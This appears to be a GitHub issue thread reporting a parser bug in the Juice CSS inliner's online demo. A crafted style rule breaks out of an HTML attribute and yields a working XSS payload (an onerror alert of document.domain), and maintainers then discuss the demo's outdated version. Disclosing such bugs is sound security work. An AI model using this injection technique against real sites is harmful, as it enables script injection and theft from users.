Parser bug, allowing XSS from CSS (On demo)

[NDevTK]

The following input tested on https://automattic.github.io/juice/

<style>audio{a" onerror=alert(document.domain)>":""}</style>
<audio src=""></audio>

Resulted in the valid XSS payload

<audio src="" style="a" onerror=alert(document.domain)>": '';"></audio>

From what I can tell juiceDocument is not affected.

[jrit]

Related #251 and worth calling out here again the version running on the github page is much older than the version on npm

[NDevTK]

Yeah it would be useful for the demo to be on the latest version.
I also noticed this is not on https://github.com/Automattic/juice/security/advisories